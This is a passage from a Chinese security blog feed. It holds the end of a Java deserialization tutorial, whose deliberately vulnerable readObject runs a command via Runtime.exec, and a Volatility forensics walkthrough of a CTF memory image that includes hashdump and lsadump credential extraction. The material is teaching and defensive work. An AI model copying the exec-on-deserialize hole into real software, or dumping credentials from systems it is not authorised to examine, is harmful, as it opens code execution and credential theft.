(这是在黑盒挖掘反序列化漏洞很重要的一个点)</p><p>0x0005:STREAM_VERSION,序列化协议版本。</p><p>0x73:TC_OBJECT</p><p>0x72:TC_CLASSDESC</p><p>0x00…01:serialVersionUID</p><h3 id="serialVersionUID"><a href="#serialVersionUID" class="headerlink" title="serialVersionUID"></a>serialVersionUID</h3><p><code>private static final long serialVersionUID = 1;</code></p><p>作用:在反序列化的时候保证与本地类的版本相同</p><p>不自定义会自动生成UID</p><p>如果两个不同内容的类,在包名类名都一样时,是不能进行相互反序列化的,但如果定义的UID一样,那么生成的序列化文件就可以进行反序列化操作。</p><h2 id="自定义序列化"><a href="#自定义序列化" class="headerlink" title="自定义序列化"></a>自定义序列化</h2><p>在序列化一个类的时候并不想写入多余的数据,需要自定义读取和写入 readObjectwrite Object</p><p>java是支持自定义readObject与writeObject方法的,只要某个类中按照特定的要求实现了readObject方法,那么在反序列化的时候就会自动调用它.</p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">private</span> <span class="keyword">void</span> <span class="title function_">writeObject</span><span class="params">(ObjectOutputStream oos)</span><span class="keyword">throws</span> IOException {</span><br><span class="line"> oos.writeUTF(username);</span><br><span class="line"> oos.writeUTF(password);</span><br><span class="line"> System.out.println(<span class="string">"Test Serialize writeObject"</span>);</span><br><span class="line">}</span><br></pre></td></tr></table></figure><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">private</span> <span class="keyword">void</span> <span class="title function_">readObject</span><span class="params">(ObjectInputStream ois)</span><span class="keyword">throws</span> IOException,ClassNotFoundException {</span><br><span class="line">username = ois.readUTF();</span><br><span class="line"> type = ois.readUTF();</span><br><span class="line"> System.out.println(<span class="string">"Test Serialize writeObject"</span>);</span><br><span class="line">}</span><br></pre></td></tr></table></figure><p>读写顺序要一致,先写入username变量,那么读取时也要先读取username变量,不然会报错。</p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">import</span> java.io.IOException;</span><br><span class="line"><span class="keyword">import</span> java.io.ObjectInputStream;</span><br><span class="line"><span class="keyword">import</span> java.io.ObjectOutputStream;</span><br><span class="line"><span class="keyword">import</span> java.io.Serializable;</span><br><span class="line"></span><br><span class="line"><span class="keyword">public</span> <span class="keyword">class</span> <span class="title class_">TestSerialize</span> <span class="keyword">implements</span> <span class="title class_">Serializable</span> {</span><br><span class="line"></span><br><span class="line"> <span class="keyword">private</span> <span class="keyword">static</span> <span class="keyword">final</span> <span class="type">long</span> <span class="variable">serialVersionUID</span> <span class="operator">=</span> -<span class="number">123123123L</span>;</span><br><span class="line"> <span class="keyword">public</span> String username;</span><br><span class="line"> <span class="keyword">transient</span> <span class="keyword">private</span> String password;</span><br><span class="line"> <span class="keyword">public</span> <span class="type">int</span> age;</span><br><span class="line"></span><br><span class="line"> <span class="keyword">public</span> <span class="title function_">TestSerialize</span><span class="params">(String name, String pass, <span class="type">int</span> age)</span> {</span><br><span class="line"> <span class="built_in">this</span>.username = name;</span><br><span class="line"> <span class="built_in">this</span>.password = pass;</span><br><span class="line"> <span class="built_in">this</span>.age = age;</span><br><span class="line"> }</span><br><span class="line"> <span class="keyword">public</span> <span class="keyword">void</span> <span class="title function_">testUse</span><span class="params">()</span>{</span><br><span class="line"> System.out.println(<span class="string">"usernaem: "</span>+username);</span><br><span class="line"> System.out.println(<span class="string">"password: "</span>+password);</span><br><span class="line"> System.out.println(<span class="string">"age: "</span>+age);</span><br><span class="line"> }</span><br><span class="line"> <span class="keyword">private</span> <span class="keyword">void</span> <span class="title function_">writeObject</span><span class="params">(ObjectOutputStream oos)</span><span class="keyword">throws</span> IOException {</span><br><span class="line"> oos.writeUTF(username);</span><br><span class="line"> oos.writeUTF(password);</span><br><span class="line"> System.out.println(<span class="string">"Test Serialize writeObject"</span>);}</span><br><span class="line"></span><br><span class="line"> <span class="keyword">private</span> <span class="keyword">void</span> <span class="title function_">readObject</span><span class="params">(ObjectInputStream ois)</span><span class="keyword">throws</span> IOException,ClassNotFoundException {</span><br><span class="line"> username = ois.readUTF();</span><br><span class="line"> password = ois.readUTF();</span><br><span class="line"> System.out.println(<span class="string">"Test Serialize writeObject"</span>);}</span><br><span class="line">}</span><br></pre></td></tr></table></figure><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">import</span> java.io.*;</span><br><span class="line"></span><br><span class="line"><span class="keyword">public</span> <span class="keyword">class</span> <span class="title class_">main</span> {</span><br><span class="line"></span><br><span class="line"> <span class="keyword">public</span> <span class="keyword">static</span> <span class="keyword">void</span> <span class="title function_">main</span><span class="params">(String[] args)</span> {</span><br><span class="line"> <span class="type">TestSerialize</span> <span class="variable">ser</span> <span class="operator">=</span> <span class="keyword">new</span> <span class="title class_">TestSerialize</span>(<span class="string">"GhostToKnow"</span>,<span class="string">"123123"</span>,<span class="number">19</span>);</span><br><span class="line"> <span class="keyword">try</span> {</span><br><span class="line"> <span class="type">FileOutputStream</span> <span class="variable">fos</span> <span class="operator">=</span> <span class="keyword">new</span> <span class="title class_">FileOutputStream</span>(<span class="string">"./Test.ser"</span>);</span><br><span class="line"> <span class="type">ObjectOutputStream</span> <span class="variable">oos</span> <span class="operator">=</span> <span class="keyword">new</span> <span class="title class_">ObjectOutputStream</span>(fos);</span><br><span class="line"> oos.writeObject(ser);</span><br><span class="line"> </span><br><span class="line"> <span class="type">FileInputStream</span> <span class="variable">fis</span> <span class="operator">=</span> <span class="keyword">new</span> <span class="title class_">FileInputStream</span>(<span class="string">"./Test.ser"</span>);</span><br><span class="line"> <span class="type">ObjectInputStream</span> <span class="variable">ois</span> <span class="operator">=</span> <span class="keyword">new</span> <span class="title class_">ObjectInputStream</span>(fis);</span><br><span class="line"> <span class="type">TestSerialize</span> <span class="variable">test</span> <span class="operator">=</span> (TestSerialize)ois.readObject();</span><br><span class="line"> test.testUse();</span><br><span class="line"> } <span class="keyword">catch</span> (FileNotFoundException e) {</span><br><span class="line"> e.printStackTrace();</span><br><span class="line"> } <span class="keyword">catch</span> (IOException e) {</span><br><span class="line"> e.printStackTrace();</span><br><span class="line"> } <span class="keyword">catch</span> (ClassNotFoundException e) {</span><br><span class="line"> e.printStackTrace();</span><br><span class="line"> }</span><br><span class="line"> }</span><br><span class="line">}</span><br></pre></td></tr></table></figure><p><img src="https://s2.loli.net/2023/04/05/hD8SZ1xycEI6oAG.png" class="lazyload" data-srcset="https://s2.loli.net/2023/04/05/hD8SZ1xycEI6oAG.png" srcset="data:image/gif;base64,R0lGODlhAQABAIAAAP///////yH5BAEKAAEALAAAAAABAAEAAAICTAEAOw==" alt="image-20221126162950498"></p><p>自定义读写只有name和pass没有age,所以这里就算给age传入了19但输出age为0</p><p>在自定义writeObject时手动把被transient修饰的变量写进去,在读取readObject时也手动写出来,pass是可以被修改拿到的。</p><h2 id="反序列化漏洞成因"><a href="#反序列化漏洞成因" class="headerlink" title="反序列化漏洞成因"></a>反序列化漏洞成因</h2><p>序列化和反序列化本身并不存在问题。但当输入的反序列化的数据可被用户控制,那么攻击者即可通过构造恶意输入,让反序列化产生非预期的对象,非预期的对象在产生过程中就可能带来安全问题。</p><p>广义上来讲,传的xml,json等内容可以进行反序列化操作,再次拿到java对象,也可以叫反序列化漏洞</p><h3 id="例子"><a href="#例子" class="headerlink" title="例子"></a>例子</h3><p>如果自定义的readObject方法里进行了一些危险操作,那么就会导致反序列化漏洞的发生了。</p><p>TestSeria</p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">import</span> java.io.IOException;</span><br><span class="line"><span class="keyword">import</span> java.io.ObjectInputStream;</span><br><span class="line"><span class="keyword">import</span> java.io.ObjectOutputStream;</span><br><span class="line"><span class="keyword">import</span> java.io.Serializable;</span><br><span class="line"></span><br><span class="line"><span class="keyword">public</span> <span class="keyword">class</span> <span class="title class_">TestSerialize</span> <span class="keyword">implements</span> <span class="title class_">Serializable</span> {</span><br><span class="line"> <span class="keyword">public</span> <span class="type">String</span> <span class="variable">cmd</span> <span class="operator">=</span> <span class="literal">null</span>;</span><br><span class="line"> <span class="keyword">public</span> <span class="title function_">TestSerialize</span><span class="params">(String cmd)</span> {</span><br><span class="line"> <span class="built_in">this</span>.cmd = cmd;</span><br><span class="line"> }</span><br><span class="line"> <span class="keyword">private</span> <span class="keyword">void</span> <span class="title function_">writeObject</span><span class="params">(ObjectOutputStream oos)</span><span class="keyword">throws</span> IOException {</span><br><span class="line"> oos.defaultWriteObject();</span><br><span class="line"> System.out.println(<span class="string">"Test Serialize writeObject"</span>);}</span><br><span class="line"></span><br><span class="line"> <span class="keyword">private</span> <span class="keyword">void</span> <span class="title function_">readObject</span><span class="params">(ObjectInputStream ois)</span><span class="keyword">throws</span> IOException,ClassNotFoundException {</span><br><span class="line"> ois.defaultReadObject();</span><br><span class="line"> <span class="comment">//调用系统执行命令功能,去执行cmd这个变量的命令</span></span><br><span class="line"> Runtime.getRuntime().exec(cmd);</span><br><span class="line"> System.out.println(<span class="string">"Test Serialize writeObject"</span>);}</span><br><span class="line">}</span><br><span class="line"></span><br></pre></td></tr></table></figure><p>main</p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">import</span> java.io.*;</span><br><span class="line"></span><br><span class="line"><span class="keyword">public</span> <span class="keyword">class</span> <span class="title class_">main</span> {</span><br><span class="line"> <span class="keyword">public</span> <span class="keyword">static</span> <span class="keyword">void</span> <span class="title function_">main</span><span class="params">(String[] args)</span> {</span><br><span class="line"> <span class="type">TestSerialize</span> <span class="variable">ser</span> <span class="operator">=</span> <span class="keyword">new</span> <span class="title class_">TestSerialize</span>(<span class="string">"notepad"</span>);</span><br><span class="line"> <span class="keyword">try</span> {</span><br><span class="line"> <span class="type">FileOutputStream</span> <span class="variable">fos</span> <span class="operator">=</span> <span class="keyword">new</span> <span class="title class_">FileOutputStream</span>(<span class="string">"./Test02.ser"</span>);</span><br><span class="line"> <span class="type">ObjectOutputStream</span> <span class="variable">oos</span> <span class="operator">=</span> <span class="keyword">new</span> <span class="title class_">ObjectOutputStream</span>(fos);</span><br><span class="line"> oos.writeObject(ser);</span><br><span class="line"> <span class="type">FileInputStream</span> <span class="variable">fis</span> <span class="operator">=</span> <span class="keyword">new</span> <span class="title class_">FileInputStream</span>(<span class="string">"./Test02.ser"</span>);</span><br><span class="line"> <span class="type">ObjectInputStream</span> <span class="variable">ois</span> <span class="operator">=</span> <span class="keyword">new</span> <span class="title class_">ObjectInputStream</span>(fis);</span><br><span class="line"> <span class="type">TestSerialize</span> <span class="variable">test</span> <span class="operator">=</span> (TestSerialize)ois.readObject();</span><br><span class="line"> } <span class="keyword">catch</span> (FileNotFoundException e) {</span><br><span class="line"> e.printStackTrace();</span><br><span class="line"> } <span class="keyword">catch</span> (IOException e) {</span><br><span class="line"> e.printStackTrace();</span><br><span class="line"> } <span class="keyword">catch</span> (ClassNotFoundException e) {</span><br><span class="line"> <span class="keyword">throw</span> <span class="keyword">new</span> <span class="title class_">RuntimeException</span>(e);</span><br><span class="line"> }</span><br><span class="line"> }</span><br><span class="line">}</span><br></pre></td></tr></table></figure><p><img src="https://s2.loli.net/2023/04/05/Hq78eYoA5gTCKLV.png" class="lazyload" data-srcset="https://s2.loli.net/2023/04/05/Hq78eYoA5gTCKLV.png" srcset="data:image/gif;base64,R0lGODlhAQABAIAAAP///////yH5BAEKAAEALAAAAAABAAEAAAICTAEAOw==" alt="image-20221127133925800"></p><p>在反序列化的时候会主动调用readObject就会触发命令执行,弹出了记事本。</p><p>这里只是演示,应该没有人会在写Runtime.getRuntime().exec(cmd);大多时是利用反射去构造java方法,再通过反射去调用java方法</p><p>Runtime.exec():直接在目标环境执行命令</p><p>Method.invoke():需要适当的选择方法和参数,通过反射执行java方法</p><p>RMI/JNDI/JRMP等:通过引用远程对象,间接实现任意代码执行的效果</p><p>后续介绍java反射,CC6链源码分析,LazyMap利用连,ysoser工具的使用</p><p>本博客的技术文章仅供参考,此文所提供的信息只为网络安全人员对自己所负责的网站、服务器等(包括但不限于)进行检测或维护参考,未经授权请勿利用文章中的技术资料对任何计算机系统进行入侵操作。利用此文所提供的信息而造成的直接或间接后果和损失,均由使用者本人负责。</p><p>本文所提供的工具仅用于学习、漏洞验证,禁止用于非法用途!</p>]]></content>
<categories>
<category> java安全 </category>
</categories>
<tags>
<tag> 反序列化 </tag>
</tags>
</entry>
<entry>
<title>volatility取证</title>
<link href="/2023/04/03/volatility%E5%8F%96%E8%AF%81/"/>
<url>/2023/04/03/volatility%E5%8F%96%E8%AF%81/</url>
<content type="html"><![CDATA[<h3 id="前言"><a href="#前言" class="headerlink" title="前言"></a>前言</h3><p>volatility是一款开源的内存取证分析工具,由python编写,支持各种操作系统,能够对导出的windows,linux,mac osx,android等系统内存镜像进行分析。可以通过插件来拓展功能。</p><h3 id="常见命令"><a href="#常见命令" class="headerlink" title="常见命令"></a>常见命令</h3><p>命令格式:</p><p>volatility -f [镜像文件] –profile=[操作系统] [插件参数]</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br></pre></td><td class="code"><pre><span class="line">volatility -f 文件名 imageinfo 得到镜像的基本信息。</span><br><span class="line">volatility -f 文件名 --profile=系统 pslist查看进程信息</span><br><span class="line">volatility -f 文件名 --profile=系统 pstree 查看进程树</span><br><span class="line">volatility -f 文件名 --profile=系统 hashdump查看用户名密码信息</span><br><span class="line">volatility -f 文件名 --profile=系统 john爆破密码</span><br><span class="line">volatility -f 文件名 --profile=系统 lsadump查看用户强密码</span><br><span class="line">volatility -f 文件名 --profile=系统 svcscan查看服务</span><br><span class="line">volatility -f 文件名 --profile=系统 iehistory查看IE浏览器历史记录</span><br><span class="line">volatility -f 文件名 --profile=系统 netscan查看网络连接</span><br><span class="line">volatility -f 文件名 --profile=系统 cmdscancmd历史命令</span><br><span class="line">volatility -f 文件名 --profile=系统 consoles命令历史记录</span><br><span class="line">volatility -f 文件名 --profile=系统 cmdline查看cmd输出, 获取命令行下运行的程序 </span><br><span class="line">volatility -f 文件名 --profile=系统 envars 查看环境变量,一般很多配合grep筛选,可也是使用-p指定pid</span><br><span class="line">volatility -f 文件名 --profile=系统 filescan查看文件</span><br><span class="line">volatility -f 文件名 --profile=系统 notepad查看当前展示的notepad内容</span><br><span class="line">volatility -f 文件名 --profile=系统 hivelist查看注册表配置单元</span><br><span class="line">volatility -f 文件名 --profile=系统 userassist查看运行程序相关的记录,比如最后一次更新时间,运行过的次数等。</span><br><span class="line">volatility -f 文件名 --profile=系统 clipboard 查看剪贴板的信息</span><br><span class="line">volatility -f 文件名 --profile=系统 timeliner最大程序提取信息</span><br><span class="line">volatility -f 文件名 --profile=系统 Dumpregistry提取日志文件</span><br><span class="line">volatility -f 文件名 --profile=系统 dlllist进程相关的dll文件列表 </span><br><span class="line">volatility -f 文件名 --profile=系统 memdump -p xxx --dump-dir=./ 提取进程</span><br><span class="line">volatility -f 文件名 --profile=系统 dumpfiles -Q 0xxxxxxxx -D ./ 提取文件</span><br><span class="line">volatility -f 文件名 --profile=系统 procdump -p pid -D ./转存可执行程序 </span><br><span class="line">volatility -f 文件名 --profile=系统 screenshot --dump-dir=./屏幕截图</span><br><span class="line">volatility -f 文件名 --profile=系统 hivedump -o 0xfffff8a001032410 查看注册表键名</span><br><span class="line">volatility -f 文件名 --profile=系统 printkey -K "xxxxxxx"查看注册表键值</span><br></pre></td></tr></table></figure><h3 id="OtterCTF取证11题"><a href="#OtterCTF取证11题" class="headerlink" title="OtterCTF取证11题"></a>OtterCTF取证11题</h3><p>在分析之前,都需先查看当前镜像的信息,获取是哪个操作系统,使用imageinfo命令查看</p><p><img src="https://s2.loli.net/2023/04/03/5L7A3QWDfYaqevn.png" class="lazyload" data-srcset="https://s2.loli.net/2023/04/03/5L7A3QWDfYaqevn.png" srcset="data:image/gif;base64,R0lGODlhAQABAIAAAP///////yH5BAEKAAEALAAAAAABAAEAAAICTAEAOw==" alt="image-20221126101043895"></p><p>然后使用volatility各类工具进行分析即可</p><h4 id="获取密码"><a href="#获取密码" class="headerlink" title="获取密码"></a>获取密码</h4><p>volatility -f OtterCTF.vmem –profile=Win7SP1x64 hashdump查看用户名密码信息</p><p>volatility -f OtterCTF.vmem –profile=Win7SP1x64 lsadump查看用户强密码</p><p>使用john爆破密码不出密码尝试lsadump查看用户强密码</p><p>lsadump:从注册表中提取LSA密钥信息,显示加密以后的数据用户密码</p><p><img src="https://s2.loli.net/2023/04/03/snoK4PaIwcEeWhD.png" class="lazyload" data-srcset="https://s2.loli.net/2023/04/03/snoK4PaIwcEeWhD.png" srcset="data:image/gif;base64,R0lGODlhAQABAIAAAP///////yH5BAEKAAEALAAAAAABAAEAAAICTAEAOw==" alt="1667523498876-226543d5-dbe4-46ec-9769-3e84a4b09ac2"></p><h4 id="pc的名称"><a href="#pc的名称" class="headerlink" title="pc的名称"></a>pc的名称</h4><p>查看主机名</p><p>hivelist查看注册表信息,查看到system</p><p>所有用户信息都会存储到注册表,SYSTEM系统信息 </p><p> hivelist查看注册表第一级信息 </p><p>第一级只是目录,路径代表文件名</p><p><img src="https://s2.loli.net/2023/04/03/9RS3NnfecHQzgOG.png" class="lazyload" data-srcset="https://s2.loli.net/2023/04/03/9RS3NnfecHQzgOG.png" srcset="data:image/gif;base64,R0lGODlhAQABAIAAAP///////yH5BAEKAAEALAAAAAABAAEAAAICTAEAOw==" alt="1667273272952-0d1c82e4-69a2-4ab3-a38a-4ea75bd55e1a"></p><p>如果东西不多可以 hivedump 下来查看,如果很多可以用printkey一步步查看</p><p>所以文件的位置使用偏移量来表示,0x开头,使用 printkey打印出来,参数-o,然后根据得到的偏移量,找到系统注册表包含的值 </p><p>volatility -f OtterCTF.vmem –profile=Win7SP1x64 printkey -o 0xfffff8a000024010</p><p><img src="https://s2.loli.net/2023/04/03/wCTLSlrqIbunAhe.png" class="lazyload" data-srcset="https://s2.loli.net/2023/04/03/wCTLSlrqIbunAhe.png" srcset="data:image/gif;base64,R0lGODlhAQABAIAAAP///////yH5BAEKAAEALAAAAAABAAEAAAICTAEAOw==" alt="1667273518562-66a4ce31-41ee-44f8-8cd3-87e86c2f2680"></p><p>继续寻找直到找到ComputerName关键词,后面的路径要使用 -K 参数使用一步步来,深入路径</p><p><img src="https://s2.loli.net/2023/04/03/zE9N5pDqSBwkdYP.png" class="lazyload" data-srcset="https://s2.loli.net/2023/04/03/zE9N5pDqSBwkdYP.png" srcset="data:image/gif;base64,R0lGODlhAQABAIAAAP///////yH5BAEKAAEALAAAAAABAAEAAAICTAEAOw==" alt="1667280392712-4ed49188-21c7-4826-911d-346098d0c591"></p><p><img src="https://s2.loli.net/2023/04/03/UvTYOVfnz3K1BHF.png" class="lazyload" data-srcset="https://s2.loli.net/2023/04/03/UvTYOVfnz3K1BHF.png" srcset="data:image/gif;base64,R0lGODlhAQABAIAAAP///////yH5BAEKAAEALAAAAAABAAEAAAICTAEAOw==" alt="1667280526336-ca6afdf6-f78a-4c65-b60e-ca55ab008f4a.png"></p><p> 含有目录两层\ComputerName\ComputerName,增加混淆 </p><p><img src="https://s2.loli.net/2023/04/03/NlYUdK9tpm1oV2c.png" class="lazyload" data-srcset="https://s2.loli.net/2023/04/03/NlYUdK9tpm1oV2c.png" srcset="data:image/gif;base64,R0lGODlhAQABAIAAAP///////yH5BAEKAAEALAAAAAABAAEAAAICTAEAOw==" alt="1667280573422-877bcd38-d8fa-4b0e-8b45-f8f1a682f57f.png"></p><h4 id="内存正在运行什么游戏,游戏连接哪个服务器"><a href="#内存正在运行什么游戏,游戏连接哪个服务器" class="headerlink" title="内存正在运行什么游戏,游戏连接哪个服务器"></a>内存正在运行什么游戏,游戏连接哪个服务器</h4><p>游戏应该会连接服务器,所以查看网络</p><p>寻找可疑进程,连接外部网络的进程 </p><p>volatility -f OtterCTF.vmem –profile=Win7SP1x64 netscan 对所有网络连接进程扫描 </p><p><img src="https://s2.loli.net/2023/04/03/BxNPwgyVbErmi7T.png" class="lazyload" data-srcset="https://s2.loli.net/2023/04/03/BxNPwgyVbErmi7T.png" srcset="data:image/gif;base64,R0lGODlhAQABAIAAAP///////yH5BAEKAAEALAAAAAABAAEAAAICTAEAOw==" alt="1667525270871-0c9ee437-4c88-466a-b7d7-65170a1a08ff"></p><h4 id="账户登录过Lunar-3频道,账户名是什么"><a href="#账户登录过Lunar-3频道,账户名是什么" class="headerlink" title="账户登录过Lunar-3频道,账户名是什么"></a>账户登录过Lunar-3频道,账户名是什么</h4><p>寻找登录游戏频道的游戏账户名。</p><p>需要在游戏进程中查看,用户登录到进程中的话,那么内存应该有登录用户名</p><p>使用strings过滤可打印字符串,grep过滤含有关键字Lunar-3频道字符串</p><p>strings OtterCTF.vmem | grep Lunar-3 -A 5 -B 5</p><p>(-A 查看关键词前几行,-B查看关键词后几行,也可以使用-C查看前后几行)</p><p><img src="https://s2.loli.net/2023/04/03/n6F1x5VjY8UTQvS.png" class="lazyload" data-srcset="https://s2.loli.net/2023/04/03/n6F1x5VjY8UTQvS.png" srcset="data:image/gif;base64,R0lGODlhAQABAIAAAP///////yH5BAEKAAEALAAAAAABAAEAAAICTAEAOw==" alt="1667526232662-a52f533e-77ba-4b5b-8e38-662b6e25eaff"></p><p>都尝试一下发现是0tt3r8r33z3</p><p>strings命令在对象文件或二进制文件中查找可打印的字符串。</p><h4 id="寻找登录名在0x64-0x-6-8-0x40-0x06-0x-18-0x5a-0x0c-0x00-2-后的游戏名"><a href="#寻找登录名在0x64-0x-6-8-0x40-0x06-0x-18-0x5a-0x0c-0x00-2-后的游戏名" class="headerlink" title="寻找登录名在0x64 0x??{6-8} 0x40 0x06 0x??{18} 0x5a 0x0c 0x00{2} 后的游戏名"></a>寻找登录名在0x64 0x??{6-8} 0x40 0x06 0x??{18} 0x5a 0x0c 0x00{2} 后的游戏名</h4><p> 意思是用户名总在这个签名之后:0x64 0x??{6-8} 0x40 0x06 0x??{18} 0x5a 0x0c 0x00{2} </p><p>先将LunarMS.exe进程转存出来;-p pid号</p><p>volatility -f OtterCTF.vmem –profile=Win7SP1x64 memdump -p 708 -D ./ 提取进程</p><p>可以使用010查看 5A 0C 00 片段</p><p>也可以使用:hexdump -C 708.dmp |grep “5a 0c 00” -C 3 </p><p><img src="https://s2.loli.net/2023/04/03/efoLGUlPzJcCr6p.png" class="lazyload" data-srcset="https://s2.loli.net/2023/04/03/efoLGUlPzJcCr6p.png" srcset="data:image/gif;base64,R0lGODlhAQABAIAAAP///////yH5BAEKAAEALAAAAAABAAEAAAICTAEAOw==" alt="1667528845150-7cdcc07d-138d-4412-9dd5-779ed7bb2492"></p><p>寻找5a 0c 00 片段眼都快找花了,太多了</p><p>volatility -f OtterCTF.vmem –profile=Win7SP1x64 yarascan -Y “/\x64(.{6,8})\x40\x06(.{18})\x5a\x0c\x00\x00/i” -p 708</p><p>这个需要安装yarascan插件是最好找的</p><h4 id="寻找经常复制粘贴的账号密码"><a href="#寻找经常复制粘贴的账号密码" class="headerlink" title="寻找经常复制粘贴的账号密码"></a>寻找经常复制粘贴的账号密码</h4><p>volatility -f OtterCTF.vmem –profile=Win7SP1x64 clipboard </p><p>clipboard 查看剪贴板的信息</p><p><img src="https://s2.loli.net/2023/04/03/PfrhMez1tHasCyx.png" class="lazyload" data-srcset="https://s2.loli.net/2023/04/03/PfrhMez1tHasCyx.png" srcset="data:image/gif;base64,R0lGODlhAQABAIAAAP///////yH5BAEKAAEALAAAAAABAAEAAAICTAEAOw==" alt="1667529310671-4f588bc2-57e5-42d0-b6c7-0af8a816c529"></p><h4 id="寻找恶意软件名"><a href="#寻找恶意软件名" class="headerlink" title="寻找恶意软件名"></a>寻找恶意软件名</h4><p>一般是使用pslist来查看进程寻找可疑进程名,但也有可能进程名进行了混淆分辨不出来或者被合法进程隐藏了</p><p>使用 pstree 命令可以查看进程树,可以查看所有进程和依赖关系</p><p>pstree代表查看带树结构的进程列表。</p><p>寻找可疑进程:通过寻找PPID大于PID的进程,或查看进程依赖寻找可疑的</p><p><img src="https://s2.loli.net/2023/04/03/lDpLeTGzVSuW972.png" class="lazyload" data-srcset="https://s2.loli.net/2023/04/03/lDpLeTGzVSuW972.png" srcset="data:image/gif;base64,R0lGODlhAQABAIAAAP///////yH5BAEKAAEALAAAAAABAAEAAAICTAEAOw==" alt="1667530498915-276a5036-524a-4a4b-a0a2-c4991386d0a9"></p><p>这里mvware-tray.exe是ppid大于pid的并且很奇怪的是Rick And Morty的子进程 </p><p>dlllist代表查看使用的动态链接库是否合法, 查看一下进程相关的dll文件列表 。-p指定pid号</p><p><img src="https://s2.loli.net/2023/04/03/gPovlrbHye12IGk.png" class="lazyload" data-srcset="https://s2.loli.net/2023/04/03/gPovlrbHye12IGk.png" srcset="data:image/gif;base64,R0lGODlhAQABAIAAAP///////yH5BAEKAAEALAAAAAABAAEAAAICTAEAOw==" alt="1667530794039-159f1a27-3f0e-4de1-98e1-bc82ccd6bdc0"></p><p>发现是在temp目录下进行的,一看就不是正经程序, 因为temp这是一个临时目录 </p><h4 id="恶意软件是如何进入电脑的"><a href="#恶意软件是如何进入电脑的" class="headerlink" title="恶意软件是如何进入电脑的"></a>恶意软件是如何进入电脑的</h4><p>可以查看和恶意软件相关的文件</p><p>volatility -f 1.vmem –profile=Win7SP1x64 filescan查看文件</p><p>直接查看文件太多,要加过滤,恶意进程的父进程是Rick And Morty</p><p>volatility -f 1.vmem –profile=Win7SP1x64 filescan | grep ‘Rick And Morty’</p><p><img src="https://s2.loli.net/2023/04/03/zTUkdbQgqiy4Owa.png" class="lazyload" data-srcset="https://s2.loli.net/2023/04/03/zTUkdbQgqiy4Owa.png" srcset="data:image/gif;base64,R0lGODlhAQABAIAAAP///////yH5BAEKAAEALAAAAAABAAEAAAICTAEAOw==" alt="1667531880542-ec706775-a4df-4e7b-ab75-bab3dd48f41a"></p><p>三个种子文件和三个exe文件;寻找来源要关注种子文件,里面可能含有地址信息</p><p>volatility -f 1.vmem –profile=Win7SP1x64 dumpfiles -Q 0xxxxxxxx -D ./ 查看文件内容</p><p><img src="https://s2.loli.net/2023/04/03/zWBPLiFRYQGXfZg.png" class="lazyload" data-srcset="https://s2.loli.net/2023/04/03/zWBPLiFRYQGXfZg.png" srcset="data:image/gif;base64,R0lGODlhAQABAIAAAP///////yH5BAEKAAEALAAAAAABAAEAAAICTAEAOw==" alt="1667532538210-3055decc-3c2d-40e2-8b89-3c5c777cfad5"></p><p>在这个文件里发现 website可疑,后面就是flag</p><h4 id="恶意软件种子从哪来"><a href="#恶意软件种子从哪来" class="headerlink" 